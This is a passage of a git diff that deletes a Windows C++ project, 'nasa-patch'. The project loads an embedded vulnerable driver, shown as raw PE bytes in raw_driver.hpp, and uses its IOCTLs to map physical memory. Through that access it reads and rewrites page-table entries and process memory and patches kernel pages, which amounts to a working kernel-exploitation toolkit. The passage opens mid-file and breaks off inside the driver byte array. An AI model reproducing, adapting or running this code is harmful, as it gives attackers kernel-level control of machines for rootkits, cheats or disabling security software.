allocated. - // - cursor_pte.pfn = reinterpret_cast(page_ppte) >> 12; - set_pte(genesis_cursor.first, cursor_pte, true); - - // - // change the offset of genesis cursor page to genesis pages pt_index since the page is now a PT - // WARNING: pointer arithmetic, do not add pt_index * 8 - // - genesis_cursor.first += +virt_addr_t{ genesis_page.first }.pt_index; - - // - // since the page has been accessed we need to reset this bit in the PTE. - // - page_accessed(); - } - - mem_ctx::~mem_ctx() - { - set_pte(genesis_page.first, genesis_page.second, true); - set_pte(genesis_cursor.first, genesis_cursor.second, true); - } - - void* mem_ctx::set_page(void* addr) - { - page_offset = virt_addr_t{ addr }.offset; - genesis_cursor.first->pfn = reinterpret_cast(addr) >> 12; - page_accessed(); - return get_page(); - } - - void* mem_ctx::get_page() const - { - return reinterpret_cast((reinterpret_cast(genesis_page.first)) + page_offset); - } - - void mem_ctx::page_accessed() const - { - Sleep(5); - } - - void* mem_ctx::get_dirbase(kernel_ctx& k_ctx, DWORD pid) - { - if (!pid) - return NULL; - - const auto peproc = - reinterpret_cast(k_ctx.get_peprocess(pid)); - - if (!peproc) - return NULL; - - pte dirbase = k_ctx.rkm( - reinterpret_cast(peproc + 0x28) - ); - - return reinterpret_cast(dirbase.pfn << 12); - } - - bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr) - { - if (!addr || !dirbase) - return false; - - virt_addr_t virt_addr{ addr }; - entries.pml4.first = reinterpret_cast(dirbase) + virt_addr.pml4_index; - entries.pml4.second = k_ctx->rkm( - k_ctx->get_virtual(entries.pml4.first)); - - if (!entries.pml4.second.value) - return false; - - entries.pdpt.first = reinterpret_cast(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index; - entries.pdpt.second = k_ctx->rkm( - k_ctx->get_virtual(entries.pdpt.first)); - - if (!entries.pdpt.second.value) - return false; - - entries.pd.first = reinterpret_cast(entries.pdpt.second.pfn << 12) + virt_addr.pd_index; - entries.pd.second = k_ctx->rkm( - k_ctx->get_virtual(entries.pd.first)); - - // if its a 2mb page - if (entries.pd.second.page_size) - { - memcpy( - &entries.pt.second, - &entries.pd.second, - sizeof(pte) - ); - - entries.pt.first = reinterpret_cast(entries.pd.second.value); - return true; - } - - entries.pt.first = reinterpret_cast(entries.pd.second.pfn << 12) + virt_addr.pt_index; - entries.pt.second = k_ctx->rkm( - k_ctx->get_virtual(entries.pt.first)); - - if (!entries.pt.second.value) - return false; - - return true; - } - - std::pair mem_ctx::get_pte(void* addr, bool use_hyperspace) - { - if (!dirbase || !addr) - return {}; - - pt_entries entries; - if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr)) - { - ::pte pte; - memcpy(&pte, &entries.pt.second, sizeof(pte)); - return { entries.pt.first, pte }; - } - return {}; - } - - void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace) - { - if (!dirbase || !addr) - return; - - pt_entries entries; - if (use_hyperspace) - if (hyperspace_entries(entries, addr)) - k_ctx->wkm( - k_ctx->get_virtual(entries.pt.first), - pte - ); - else - if (virt_to_phys(entries, addr)) - write_phys(entries.pt.first, pte); - } - - std::pair mem_ctx::get_pde(void* addr, bool use_hyperspace) - { - if (!dirbase || !addr) - return {}; - - pt_entries entries; - if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr)) - { - ::pde pde; - memcpy( - &pde, - &entries.pd.second, - sizeof(pde) - ); - return { entries.pd.first, pde }; - } - return {}; - } - - void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace) - { - if (!dirbase || !addr) - return; - - pt_entries entries; - if (use_hyperspace) - if (hyperspace_entries(entries, addr)) - k_ctx->wkm( - k_ctx->get_virtual(entries.pd.first), - pde - ); - else - if (virt_to_phys(entries, addr)) - write_phys(entries.pd.first, pde); - } - - std::pair mem_ctx::get_pdpte(void* addr, bool use_hyperspace) - { - if (!dirbase || !addr) - return {}; - - pt_entries entries; - if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr)) - { - ::pdpte pdpte; - memcpy( - &pdpte, - &entries.pdpt.second, - sizeof(pdpte) - ); - return { entries.pdpt.first, pdpte }; - } - return {}; - } - - void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace) - { - if (!dirbase || !addr) - return; - - pt_entries entries; - if (use_hyperspace) - if (hyperspace_entries(entries, addr)) - k_ctx->wkm( - k_ctx->get_virtual(entries.pdpt.first), - pdpte - ); - else - if (virt_to_phys(entries, addr)) - write_phys(entries.pdpt.first, pdpte); - } - - std::pair mem_ctx::get_pml4e(void* addr, bool use_hyperspace) - { - if (!dirbase || !addr) - return {}; - - pt_entries entries; - if (use_hyperspace ? hyperspace_entries(entries, addr) : virt_to_phys(entries, addr)) - { - ::pml4e pml4e; - memcpy( - &pml4e, - &entries.pml4.second, - sizeof(pml4e) - ); - return { entries.pml4.first, pml4e }; - } - return {}; - } - - void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace) - { - if (!dirbase || !addr) - return; - - pt_entries entries; - if (use_hyperspace) - if (hyperspace_entries(entries, addr)) - k_ctx->wkm( - k_ctx->get_virtual(entries.pml4.first), - pml4e - ); - else - if (virt_to_phys(entries, addr)) - write_phys(entries.pml4.first, pml4e); - } - - std::pair mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) - { - if (!buffer || !addr || !size || !dirbase) - return {}; - - virt_addr_t virt_addr{ addr }; - if (size <= PAGE_SIZE - virt_addr.offset) - { - pt_entries entries; - read_phys( - buffer, - virt_to_phys(entries, addr), - size - ); - return { - reinterpret_cast(reinterpret_cast(buffer) + size), - reinterpret_cast(reinterpret_cast(addr) + size) - }; - } - else - { - // cut remainder - const auto [new_buffer_addr, new_addr] = read_virtual( - buffer, - addr, - PAGE_SIZE - virt_addr.offset - ); - // forward work load - return read_virtual( - new_buffer_addr, - new_addr, - size - (PAGE_SIZE - virt_addr.offset) - ); - } - } - - std::pair mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) - { - if (!buffer || !addr || !size || !dirbase) - return {}; - - virt_addr_t virt_addr{ addr }; - if (size <= PAGE_SIZE - virt_addr.offset) - { - pt_entries entries; - write_phys( - buffer, - virt_to_phys(entries, addr), - size - ); - - return { - reinterpret_cast(reinterpret_cast(buffer) + size), - reinterpret_cast(reinterpret_cast(addr) + size) - }; - } - else - { - // cut remainder - const auto [new_buffer_addr, new_addr] = write_virtual( - buffer, - addr, - PAGE_SIZE - virt_addr.offset - ); - - // forward work load - return write_virtual( - new_buffer_addr, - new_addr, - size - (PAGE_SIZE - virt_addr.offset) - ); - } - } - - void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) - { - if (!buffer || !addr || !size) - return; - - auto temp_page = set_page(addr); - if (temp_page) - memcpy(buffer, temp_page, size); - } - - void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) - { - if (!buffer || !addr || !size) - return; - - auto temp_page = set_page(addr); - if (temp_page) - memcpy(temp_page, buffer, size); - } - - void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) - { - if (!addr || !dirbase) - return {}; - - virt_addr_t virt_addr{ addr }; - - // - // traverse paging tables - // - auto pml4e = read_phys<::pml4e>( - reinterpret_cast(dirbase) + virt_addr.pml4_index); - - entries.pml4.first = reinterpret_cast(dirbase) + virt_addr.pml4_index; - entries.pml4.second = pml4e; - - if (!pml4e.value) - return NULL; - - auto pdpte = read_phys<::pdpte>( - reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index); - - entries.pdpt.first = reinterpret_cast(pml4e.pfn << 12) + virt_addr.pdpt_index; - entries.pdpt.second = pdpte; - - if (!pdpte.value) - return NULL; - - auto pde = read_phys<::pde>( - reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index); - - entries.pd.first = reinterpret_cast(pdpte.pfn << 12) + virt_addr.pd_index; - entries.pd.second = pde; - - if (!pde.value) - return NULL; - - auto pte = read_phys<::pte>( - reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index); - - entries.pt.first = reinterpret_cast(pde.pfn << 12) + virt_addr.pt_index; - entries.pt.second = pte; - - if (!pte.value) - return NULL; - - return reinterpret_cast((pte.pfn << 12) + virt_addr.offset); - } - - unsigned mem_ctx::get_pid() const - { - return pid; - } - - void* mem_ctx::get_dirbase() const - { - return dirbase; - } -} \ No newline at end of file diff --git a/nasa-patch/mem_ctx/mem_ctx.hpp b/nasa-patch/mem_ctx/mem_ctx.hpp deleted file mode 100644 index 5442a52..0000000 --- a/nasa-patch/mem_ctx/mem_ctx.hpp +++ /dev/null @@ -1,119 +0,0 @@ -#pragma once -#include "../util/nt.hpp" -#include "../kernel_ctx/kernel_ctx.h" - -#define FLUSH_TLB Sleep(1) - -struct pt_entries -{ - std::pair pml4; - std::pair pdpt; - std::pair pd; - std::pair pt; -}; - -namespace nasa -{ - class mem_ctx - { - public: - explicit mem_ctx(kernel_ctx& k_ctx, DWORD pid); - ~mem_ctx(); - - // - // PTE manipulation - // - std::pair get_pte(void* addr, bool use_hyperspace = false); - void set_pte(void* addr, const ::pte& pte, bool use_hyperspace = false); - - // - // PDE manipulation - // - std::pair get_pde(void* addr, bool use_hyperspace = false); - void set_pde(void* addr, const ::pde& pde, bool use_hyperspace = false); - - // - // PDPTE manipulation - // - std::pair get_pdpte(void* addr, bool use_hyperspace = false); - void set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace = false); - - // - // PML4E manipulation - // - std::pair get_pml4e(void* addr, bool use_hyperspace = false); - void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); - - // - // gets dirbase (not the PTE or PFN but actual physical address) - // - void* get_dirbase() const; - static void* get_dirbase(kernel_ctx& k_ctx, DWORD pid); - - void read_phys(void* buffer, void* addr, std::size_t size); - void write_phys(void* buffer, void* addr, std::size_t size); - - template - T read_phys(void* addr) - { - if (!addr) - return {}; - T buffer; - read_phys((void*)&buffer, addr, sizeof(T)); - return buffer; - } - - template - void write_phys(void* addr, const T& data) - { - if (!addr) - return; - write_phys((void*)&data, addr, sizeof(T)); - } - - std::pair read_virtual(void* buffer, void* addr, std::size_t size); - std::pair write_virtual(void* buffer, void* addr, std::size_t size); - - template - T read_virtual(void* addr) - { - if (!addr) - return {}; - T buffer; - read_virtual((void*)&buffer, addr, sizeof(T)); - return buffer; - } - - template - void write_virtual(void* addr, const T& data) - { - write_virtual((void*)&data, addr, sizeof(T)); - } - - // - // linear address translation (not done by hyperspace mappings) - // - void* virt_to_phys(pt_entries& entries, void* addr); - - // - // given an address fill pt entries with physical addresses and entry values. - // - bool hyperspace_entries(pt_entries& entries, void* addr); - - // - // these are used for the pfn backdoor, this will be removed soon - // - void* set_page(void* addr); - void* get_page() const; - void page_accessed() const; - unsigned get_pid() const; - kernel_ctx* k_ctx; - private: - std::pair genesis_page; - std::pair genesis_cursor; - void* dirbase; - - unsigned pid; - unsigned short page_offset; - }; -} \ No newline at end of file diff --git a/nasa-patch/nasa-patch.vcxproj.filters b/nasa-patch/nasa-patch.vcxproj.filters deleted file mode 100644 index 52cd7ac..0000000 --- a/nasa-patch/nasa-patch.vcxproj.filters +++ /dev/null @@ -1,80 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd - - - {a64bd891-9c12-4f5a-88f3-b64df79dbb62} - - - {2b6b0fd0-527b-4058-b2a8-0456e169c85c} - - - {076cd5ea-f4af-40e7-b061-806ab272282c} - - - {efdecd69-b7b9-4d44-b106-2566baa07d86} - - - {4a0efc40-4095-452d-abca-77079306be08} - - - {1ce9a6f1-49b4-498f-8794-c63005e49a5e} - - - {0db2f387-772b-4a72-abb5-4a56e0623722} - - - {b6bfff55-573d-458f-a91a-383b0d0b9180} - - - - - Source Files\kernel_ctx - - - Source Files\mem_ctx - - - Source Files\patch_ctx - - - Source Files - - - - - Header Files\kernel_ctx - - - Header Files\mem_ctx - - - Header Files\patch_ctx - - - Header Files\util - - - Header Files\util - - - Header Files\util - - - Header Files\physmeme - - - Header Files - - - Header Files - - - \ No newline at end of file diff --git a/nasa-patch/patch_ctx/patch_ctx.hpp b/nasa-patch/patch_ctx/patch_ctx.hpp deleted file mode 100644 index 0657484..0000000 --- a/nasa-patch/patch_ctx/patch_ctx.hpp +++ /dev/null @@ -1,61 +0,0 @@ -#pragma once -#include "../mem_ctx/mem_ctx.hpp" - -namespace nasa -{ - class patch_ctx - { - public: - explicit patch_ctx(mem_ctx* mem_ctx); - - // - // returns a virtual address mapping of the newly patched page(s). - // - void* patch(void* kernel_addr); - __forceinline void enable() - { - mapped_pml4e->pfn = new_pml4e.pfn; - } - - __forceinline void disable() - { - mapped_pml4e->pfn = old_pml4e.pfn; - } - private: - - // - // std::pair< physical page, virtual address > - // - std::pair make_pdpt(const pt_entries& kernel_entries, void* kernel_addr); - std::pair make_pd(const pt_entries& kernel_entries, void* kernel_addr); - std::pair make_pt(const pt_entries& kernel_entries, void* kernel_addr); - std::pair make_page(const pt_entries& kernel_entries, void* kernel_addr); - - // - // context of the current process you want to patch. - // - mem_ctx* mem_ctx; - - // - // newly created table entries and table pointers (pdpte, pde, pte) - // - pt_entries new_entries; - - // - // old and new pml4e - // - pml4e new_pml4e; - pml4e old_pml4e; - - // - // kernel address of the patch. - // - void* kernel_addr; - - // - // pointer to the mapped pml4e - // used for enable/disable patch... - // - ppml4e mapped_pml4e; - }; -} \ No newline at end of file diff --git a/nasa-patch/physmeme/physmeme.hpp b/nasa-patch/physmeme/physmeme.hpp deleted file mode 100644 index 1424f6f..0000000 --- a/nasa-patch/physmeme/physmeme.hpp +++ /dev/null @@ -1,96 +0,0 @@ -#pragma once -#include -#include -#include -#include - -#include "../util/util.hpp" -#include "../loadup.hpp" -#include "../raw_driver.hpp" - -#pragma pack ( push, 1 ) -typedef struct _GIOMAP -{ - unsigned long interface_type; - unsigned long bus; - std::uintptr_t physical_address; - unsigned long io_space; - unsigned long size; -} GIOMAP; -#pragma pack ( pop ) - -namespace nasa -{ - inline std::string drv_key; - inline HANDLE drv_handle = NULL; - - // - // please code this function depending on your method of physical read/write. - // - inline bool load_drv() - { - const auto [result, key] = - driver::load( - raw_driver, - sizeof(raw_driver) - ); - - drv_key = key; - drv_handle = CreateFile( - "\\\\.\\GIO", - GENERIC_READ | GENERIC_WRITE, - NULL, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - return drv_handle; - } - - // - // please code this function depending on your method of physical read/write. - // - inline bool unload_drv() - { - return CloseHandle(drv_handle) && driver::unload(drv_key); - } - - // - // please code this function depending on your method of physical read/write. - // - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) - { - //--- ensure the validity of the address we are going to try and map - if (!util::is_valid(addr)) - return NULL; - - GIOMAP in_buffer = { 0, 0, addr, 0, size }; - uintptr_t out_buffer[2] = { 0 }; - unsigned long returned = 0; - DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - - } - - // - // please code this function depending on your method of physical read/write. - // - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) - { - uintptr_t in_buffer = addr; - uintptr_t out_buffer[2] = {sizeof(out_buffer)}; - - unsigned long returned = NULL; - DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - } -} diff --git a/nasa-patch/raw_driver.hpp b/nasa-patch/raw_driver.hpp deleted file mode 100644 index 6402c6b..0000000 --- a/nasa-patch/raw_driver.hpp +++ /dev/null @@ -1,2238 +0,0 @@ -#pragma once -#include - -inline constexpr std::uint8_t raw_driver[] = { - 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xF0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, - 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, - 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, - 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, - 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xC8, 0x17, 0xA3, - 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, - 0x9F, 0xA9, 0x78, 0xF0, 0x82, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x78, 0xF1, - 0x9A, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x7A, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, - 0xBD, 0xC9, 0x7D, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7D, 0xF1, - 0x9E, 0xA9, 0x79, 0xF0, 0x00, 0xA1, 0x04, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, - 0x0D, 0xF7, 0x86, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7B, 0xF1, - 0x9E, 0xA9, 0x79, 0xF0, 0x52, 0x69, 0x63, 0x68, 0x9F, 0xA9, 0x79, 0xF0, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x08, 0x00, 0x65, 0xEB, 0x20, 0x5A, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, - 0x0B, 0x02, 0x0E, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, - 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, - 0x00, 0x04, 0x00, 0x00, 0x2F, 0xF6, 0x00, 0x00, 0x01, 0x00, 0x60, 0x01, - 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x80, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, - 0x48, 0x03, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, - 0x00, 0x4A, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x60, 0x41, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x8F, 0x2A, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0xA0, 0x06, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, - 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, - 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x48, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, - 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x00, 0x06, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62, - 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x48, 0x03, 0x00, 0x00, - 0x00, 0x90, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x56, 0x57, 0x50, 0x53, 0x51, 0x52, 0x66, 0x8B, - 0x05, 0x45, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x1D, 0x3C, 0x40, 0x00, 0x00, - 0x66, 0x8B, 0x0D, 0x33, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x15, 0x2A, 0x40, - 0x00, 0x00, 0x66, 0x8B, 0x35, 0x21, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x3D, - 0x18, 0x40, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x66, 0x89, 0x05, - 0x16, 0x40, 0x00, 0x00, 0x66, 0x89, 0x1D, 0x0D, 0x40, 0x00, 0x00, 0x66, - 0x89, 0x0D, 0x04, 0x40, 0x00, 0x00, 0x66, 0x89, 0x15, 0xFB, 0x3F, 0x00, - 0x00, 0x66, 0x89, 0x35, 0xF2, 0x3F, 0x00, 0x00, 0x66, 0x89, 0x3D, 0xE9, - 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x56, 0x57, - 0x50, 0x53, 0x51, 0x52, 0x8B, 0x05, 0xC6, 0x3F, 0x00, 0x00, 0x8B, 0x1D, - 0xBC, 0x3F, 0x00, 0x00, 0x8B, 0x0D, 0xB2, 0x3F, 0x00, 0x00, 0x8B, 0x15, - 0xA8, 0x3F, 0x00, 0x00, 0x8B, 0x35, 0x9E, 0x3F, 0x00, 0x00, 0x8B, 0x3D, - 0x94, 0x3F, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x05, 0x9D, - 0x3F, 0x00, 0x00, 0x89, 0x1D, 0x93, 0x3F, 0x00, 0x00, 0x89, 0x0D, 0x89, - 0x3F, 0x00, 0x00, 0x89, 0x15, 0x7F, 0x3F, 0x00, 0x00, 0x89, 0x35, 0x75, - 0x3F, 0x00, 0x00, 0x89, 0x3D, 0x6B, 0x3F, 0x00, 0x00, 0x89, 0x05, 0x61, - 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x50, 0x53, - 0x51, 0x52, 0x8B, 0x0D, 0x74, 0x3F, 0x00, 0x00, 0x0F, 0x32, 0x89, 0x05, - 0x68, 0x3F, 0x00, 0x00, 0x89, 0x15, 0x5E, 0x3F, 0x00, 0x00, 0x5A, 0x59, - 0x5B, 0x58, 0xC3, 0x50, 0x53, 0x51, 0x52, 0x8B, 0x0D, 0x57, 0x3F, 0x00, - 0x00, 0x8B, 0x05, 0x4D, 0x3F, 0x00, 0x00, 0x8B, 0x15, 0x43, 0x3F, 0x00, - 0x00, 0x0F, 0x30, 0x5A, 0x59, 0x5B, 0x58, 0xC3, 0x55, 0x52, 0x50, 0x53, - 0x56, 0x57, 0x51, 0x48, 0x8B, 0xF1, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x83, 0xE0, 0xFF, 0x48, - 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 